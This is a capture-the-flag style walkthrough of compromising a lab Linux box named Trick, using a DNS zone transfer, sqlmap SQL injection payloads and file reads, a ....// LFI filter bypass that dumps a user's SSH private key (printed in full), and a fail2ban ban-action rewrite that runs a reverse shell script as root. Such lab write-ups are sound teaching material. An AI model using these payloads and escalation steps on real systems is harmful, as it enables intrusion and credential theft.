Trick

Overview

Trick is an easy Linux box that keeps pulling on the same thread: one vhost points at the next.
It starts with a DNS server that allows a zone transfer, which leaks a preprod-payroll subdomain.
That app has a login form vulnerable to SQL injection, and the DB user has FILE privileges, so sqlmap
gives me arbitrary file read. Reading the nginx config exposes a third vhost, preprod-marketing,
which has a classic ?page= LFI protected by a lazy ../ filter that I bypass with ....//.
That leaks michael's private SSH key and gets me a foothold. For root, michael can restart
fail2ban with sudo and also belongs to a security group that owns /etc/fail2ban/action.d,
so I rewrite a ban action to run my own script as root and then trigger a ban.

Root flag

Reconnaissance

Nmap

Started with the usual full TCP scan then a version/script pass on whatever answered:

# Nmap 7.99 scan initiated Fri Sep  4 19:04:48 2026 as: /usr/lib/nmap/nmap --privileged -sCV -p- -T4 -v -oN nmap 10.129.79.88
Nmap scan report for 10.129.79.88
Host is up (0.14s latency).
Not shown: 65531 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 61:ff:29:3b:36:bd:9d:ac:fb:de:1f:56:88:4c:ae:2d (RSA)
|   256 9e:cd:f2:40:61:96:ea:21:a6:ce:26:02:af:75:9a:78 (ECDSA)
|_  256 72:93:f9:11:58:de:34:ad:12:b5:4b:4a:73:64:b9:70 (ED25519)
25/tcp open  smtp?
|_smtp-commands: Couldn't establish connection on port 25
53/tcp open  domain  ISC BIND 9.11.5-P4-5.1+deb10u7 (Debian Linux)
| dns-nsid:
|_  bind.version: 9.11.5-P4-5.1+deb10u7-Debian
80/tcp open  http    nginx 1.14.2
|_http-server-header: nginx/1.14.2
| http-methods:
|_  Supported Methods: GET HEAD
|_http-title: Coming Soon - Start Bootstrap Theme
|_http-favicon: Unknown favicon MD5: 556F31ACD686989B1AFCF382C05846AA
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Four ports: SSH, a dead SMTP port, DNS on 53, and an nginx server on 80. The DNS server is the
interesting one here, you don't see 53 open on many boxes.

The website

The webpage itself is a "Coming Soon" bootstrap template.

Coming Soon page

It didn't give me much, and a directory enumeration on it came back empty too. So I turned my
attention to the DNS server to see if I could squeeze a domain name out of it.

DNS — finding the domain

First a reverse lookup against the box's own DNS to see what it thinks its name is:

┌──(kali㉿kali)-[~/HTB/trick]
└─$ nslookup 10.129.79.160 10.129.79.160
160.79.129.10.in-addr.arpa      name = trick.htb.

So trick.htb it is. Into /etc/hosts:

echo "10.129.79.160 trick.htb" | sudo tee -a /etc/hosts

trick.htb just points at the same "Coming Soon" page, so I went looking for subdomains with ffuf:

ffuf -u http://trick.htb -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.trick.htb" -fs 5480

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://trick.htb
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.trick.htb
 :: Filter           : Response size: 5480
________________________________________________

:: Progress: [4989/4989] :: Job [1/1] :: 290 req/sec :: Duration: [0:00:14] :: Errors: 0 ::

Nothing. Then it hit me: if there's a DNS server on the box holding records for trick.htb, it's
almost certainly authoritative for the zone, and if it's misconfigured it'll hand me the whole
zone over a zone transfer (AXFR). So I looked up the dig syntax for it and tried:

dig axfr @10.129.79.160 trick.htb

; <<>> DiG 9.20.26-1-Debian <<>> axfr @10.129.79.160 trick.htb
; (1 server found)
;; global options: +cmd
trick.htb.              604800  IN      SOA     trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
trick.htb.              604800  IN      NS      trick.htb.
trick.htb.              604800  IN      A       127.0.0.1
trick.htb.              604800  IN      AAAA    ::1
preprod-payroll.trick.htb. 604800 IN    CNAME   trick.htb.
trick.htb.              604800  IN      SOA     trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
;; XFR size: 6 records (messages 1, bytes 231)

BINGO. preprod-payroll.trick.htb. Added it to /etc/hosts alongside trick.htb.

The payroll vhost — SQL injection

Visiting preprod-payroll.trick.htb gives a login page:

Payroll login page

Checking the page source gives the app's name: Admin | Employee's Payroll Management System.
A quick google on that:

Google result — Payroll Management System SQLi

shows it's known to be vulnerable to SQL injection on the login form.

sqlmap

I intercepted the login POST in Burp, saved it to request.raw, and threw it at sqlmap:

sqlmap -r request.raw --risk 3 --level 3

Parameter: username (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
    Payload: username=abc' OR NOT 6505=6505-- bVvQ&password=abc

    Type: error-based
    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: username=abc' OR (SELECT 4118 FROM(SELECT COUNT(*),CONCAT(0x7178627171,(SELECT (ELT(4118=4118,1))),0x71787a6271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- MHVY&password=abc

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=abc' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))jQBy)-- vrQU&password=abc

[*] the back-end DBMS is MySQL
web application technology: Nginx 1.14.2
back-end DBMS: MySQL >= 5.0 (MariaDB fork)

username is injectable three ways over. Vulnerability confirmed.

Reading files with sqlmap

The DB user turned out to have FILE privileges, so instead of dumping tables I went straight for
file read. First target, always, is /etc/passwd:

sqlmap -r request.raw --risk 3 --level 3 --file-read=/etc/passwd

[08:57:23] [INFO] fingerprinting the back-end DBMS operating system
[08:57:23] [INFO] the back-end DBMS operating system is Linux
[08:57:23] [INFO] fetching file: '/etc/passwd'
do you want confirmation that the remote file '/etc/passwd' has been successfully downloaded from the back-end DBMS file system? [Y/n] Y
[08:57:29] [INFO] the local file '/home/kali/.local/share/sqlmap/output/preprod-payroll.trick.htb/files/_etc_passwd' and the remote file '/etc/passwd' have the same size (2351 B)

The interesting line at the bottom:

michael:x:1001:1001::/home/michael:/bin/bash

/etc/passwd — michael

So there's a real user, michael. Now I need a way in as him.

Since the box is running nginx, its config files are worth pulling, they'll tell me the document
roots and, on a box like this, probably more vhosts. The usual places:

/etc/nginx/nginx.conf
/etc/nginx/conf.d/*.conf
/etc/nginx/sites-enabled/default
/etc/nginx/sites-available/default

Reading /etc/nginx/sites-enabled/default:

server {
        listen 80 default_server;
        listen [::]:80 default_server;
        server_name trick.htb;
        root /var/www/html;
        index index.html index.htm index.nginx-debian.html;
        server_name _;
        location / {
                try_files $uri $uri/ =404;
        }
        location ~ \.php$ {
                include snippets/fastcgi-php.conf;
                fastcgi_pass unix:/run/php/php7.3-fpm.sock;
        }
}

server {
        listen 80;
        listen [::]:80;
        server_name preprod-marketing.trick.htb;
        root /var/www/market;
        index index.php;
        location / {
                try_files $uri $uri/ =404;
        }
        location ~ \.php$ {
                include snippets/fastcgi-php.conf;
                fastcgi_pass unix:/run/php/php7.3-fpm-michael.sock;
        }
}

server {
        listen 80;
        listen [::]:80;
        server_name preprod-payroll.trick.htb;
        root /var/www/payroll;
        index index.php;
        location / {
                try_files $uri $uri/ =404;
        }
        location ~ \.php$ {
                include snippets/fastcgi-php.conf;
                fastcgi_pass unix:/run/php/php7.3-fpm.sock;
        }
}

There it is: a third vhost, preprod-marketing.trick.htb, rooted at /var/www/market and
running its PHP-FPM pool as michael (php7.3-fpm-michael.sock). This box is a never-ending loop
of subdomains XD. Added it to /etc/hosts and went to look.

The marketing vhost — LFI

preprod-marketing site

Clicking around the site, the URL immediately screams LFI:

LFI-looking URL

The document root is /var/www/market, so going three directories up lands me at /. First
attempt was the textbook payload:

http://preprod-marketing.trick.htb/index.php?page=../../../etc/passwd

That didn't work, the app is stripping ../ sequences. The trick I picked up from a CTF a
while back is ....//: the filter does a single non-recursive pass and removes the inner ../,
and what's left collapses back into ../. So ....// becomes ../ after filtering:

http://preprod-marketing.trick.htb/index.php?page=....//....//....//....//....//etc/passwd

fach

LFI reading /etc/passwd

michael's SSH key

An LFI is already a lot, and since the PHP pool runs as michael, I can read his home directory.
If he left an SSH key lying around, that's the foothold. Straight for ~/.ssh/id_rsa:

kali@kali:~/HTB/trick$ curl "http://preprod-marketing.trick.htb/index.php?page=....//....//....//....//....///home/michael/.ssh/id_rsa"
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAQEAwI9YLFRKT6JFTSqPt2/+7mgg5HpSwzHZwu95Nqh1Gu4+9P+ohLtz
c4jtky6wYGzlxKHg/Q5ehozs9TgNWPVKh+j92WdCNPvdzaQqYKxw4Fwd3K7F4JsnZaJk2G
YQ2re/gTrNElMAqURSCVydx/UvGCNT9dwQ4zna4sxIZF4HpwRt1T74wioqIX3EAYCCZcf+
4gAYBhUQTYeJlYpDVfbbRH2yD73x7NcICp5iIYrdS455nARJtPHYkO9eobmyamyNDgAia/
Ukn75SroKGUMdiJHnd+m1jW5mGotQRxkATWMY5qFOiKglnws/jgdxpDV9K3iDTPWXFwtK4
1kC+t4a8sQAAA8hzFJk2cxSZNgAAAAdzc2gtcnNhAAABAQDAj1gsVEpPokVNKo+3b/7uaC
DkelLDMdnC73k2qHUa7j70/6iEu3NziO2TLrBgbOXEoeD9Dl6GjOz1OA1Y9UqH6P3ZZ0I0
+93NpCpgrHDgXB3crsXgmydlomTYZhDat7+BOs0SUwCpRFIJXJ3H9S8YI1P13BDjOdrizE
hkXgenBG3VPvjCKiohfcQBgIJlx/7iABgGFRBNh4mVikNV9ttEfbIPvfHs1wgKnmIhit1L
jnmcBEm08diQ716hubJqbI0OACJr9SSfvlKugoZQx2Iked36bWNbmYai1BHGQBNYxjmoU6
IqCWfCz+OB3GkNX0reINM9ZcXC0rjWQL63hryxAAAAAwEAAQAAAQASAVVNT9Ri/dldDc3C
aUZ9JF9u/cEfX1ntUFcVNUs96WkZn44yWxTAiN0uFf+IBKa3bCuNffp4ulSt2T/mQYlmi/
KwkWcvbR2gTOlpgLZNRE/GgtEd32QfrL+hPGn3CZdujgD+5aP6L9k75t0aBWMR7ru7EYjC
tnYxHsjmGaS9iRLpo79lwmIDHpu2fSdVpphAmsaYtVFPSwf01VlEZvIEWAEY6qv7r455Ge
U+38O714987fRe4+jcfSpCTFB0fQkNArHCKiHRjYFCWVCBWuYkVlGYXLVlUcYVezS+ouM0
fHbE5GMyJf6+/8P06MbAdZ1+5nWRmdtLOFKF1rpHh43BAAAAgQDJ6xWCdmx5DGsHmkhG1V
PH+7+Oono2E7cgBv7GIqpdxRsozETjqzDlMYGnhk9oCG8v8oiXUVlM0e4jUOmnqaCvdDTS
3AZ4FVonhCl5DFVPEz4UdlKgHS0LZoJuz4yq2YEt5DcSixuS+Nr3aFUTl3SxOxD7T4tKXA
fvjlQQh81veQAAAIEA6UE9xt6D4YXwFmjKo+5KQpasJquMVrLcxKyAlNpLNxYN8LzGS0sT
AuNHUSgX/tcNxg1yYHeHTu868/LUTe8l3Sb268YaOnxEbmkPQbBscDerqEAPOvwHD9rrgn
In16n3kMFSFaU2bCkzaLGQ+hoD5QJXeVMt6a/5ztUWQZCJXkcAAACBANNWO6MfEDxYr9DP
JkCbANS5fRVNVi0Lx+BSFyEKs2ThJqvlhnxBs43QxBX0j4BkqFUfuJ/YzySvfVNPtSb0XN
jsj51hLkyTIOBEVxNjDcPWOj5470u21X8qx2F3M4+YGGH+mka7P+VVfvJDZa67XNHzrxi+
IJhaN0D5bVMdjjFHAAAADW1pY2hhZWxAdHJpY2sBAgMEBQ==
-----END OPENSSH PRIVATE KEY-----

Foothold

Saved the key, fixed the permissions, and connected:

chmod 600 id_rsa
ssh -i id_rsa michael@trick.htb

SSH as michael

Foothold on the box as michael, and the user flag is in ~.

bingo

Privilege escalation

First thing, as always, sudo -l:

michael@trick:~$ sudo -l
Matching Defaults entries for michael on trick:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User michael may run the following commands on trick:
    (root) NOPASSWD: /etc/init.d/fail2ban restart

michael can restart fail2ban as root with no password.

How fail2ban helps here

fail2ban runs as root. It watches log files, and when an IP fails to authenticate too many
times it runs a ban action, a shell command pulled from its config in /etc/fail2ban/action.d/.
Since the daemon is root, that command runs as root. If I can edit a ban action and make
fail2ban reload it, I control a root command.

The reload half is the sudo rule. For the edit half, check what group I'm in:

id and action.d permissions

michael@trick:/etc/fail2ban/action.d$ id
uid=1001(michael) gid=1001(michael) groups=1001(michael),1002(security)

michael is in the security group, and that group has write access to
/etc/fail2ban/action.d/. Both halves are there. The plan:

  • rewrite the actionban line of a ban action so it runs a script of mine as root
  • point it at /tmp/shell, which holds a reverse shell
  • start a listener
  • sudo /etc/init.d/fail2ban restart to load the modified action
  • fail a few SSH logins from another host to trigger a ban
  • the ban fires my actionban as root

Weaponising the ban action

iptables-multiport.conf is the default ban action, so that's the one I edited. Back it up first
so a broken config doesn't wedge the service, then patch actionban:

michael@trick:/etc/fail2ban/action.d$ mv iptables-multiport.conf .backup
michael@trick:/etc/fail2ban/action.d$ cp .backup iptables-multiport.conf
michael@trick:/etc/fail2ban/action.d$ nano iptables-multiport.conf

The only change is the actionban line:

# Option:  actionban
# Notes.:  command executed when banning an IP.
actionban = /bin/bash /tmp/shell

/tmp/shell is just a bash reverse shell back to my listener. Then reload it:

michael@trick:/etc/fail2ban/action.d$ sudo /etc/init.d/fail2ban restart
[ ok ] Restarting fail2ban (via systemctl): fail2ban.service.

Now trigger a ban by hammering SSH from another terminal with a bad key/password until fail2ban
decides to ban me. When it does, it calls actionban, root runs /bin/bash /tmp/shell, and the
listener catches a root shell:

# id
uid=0(root) gid=0(root) groups=0(root)

And the root flag:

Root shell on the listener

root

Review

Trick is a really clean easy box. The whole first half is one idea repeated, every service you
land on names the next one: the zone transfer names the payroll vhost, the SQLi file-read names
michael and the marketing vhost, the LFI names the SSH key. Nothing is a leap, you just have to
keep reading what's in front of you.

Things worth keeping:

  • Port 53 open = try dig axfr before anything fancy. A misconfigured AXFR is a free list of
    every subdomain the box wants you to find.
  • FILE privileges turn a login SQLi into arbitrary file read. Once you have that, the nginx
    config is the highest-value file on the box, it maps every vhost and document root.
  • ....// beats a non-recursive ../ filter. If ../../../ gets stripped, don't give up on
    the LFI, just double up.
  • Group membership is part of privesc enumeration. sudo -l was only half the vector here,
    the security group owning action.d was the other half. Always check id.

See you in the next one. <3

see u

← More Machines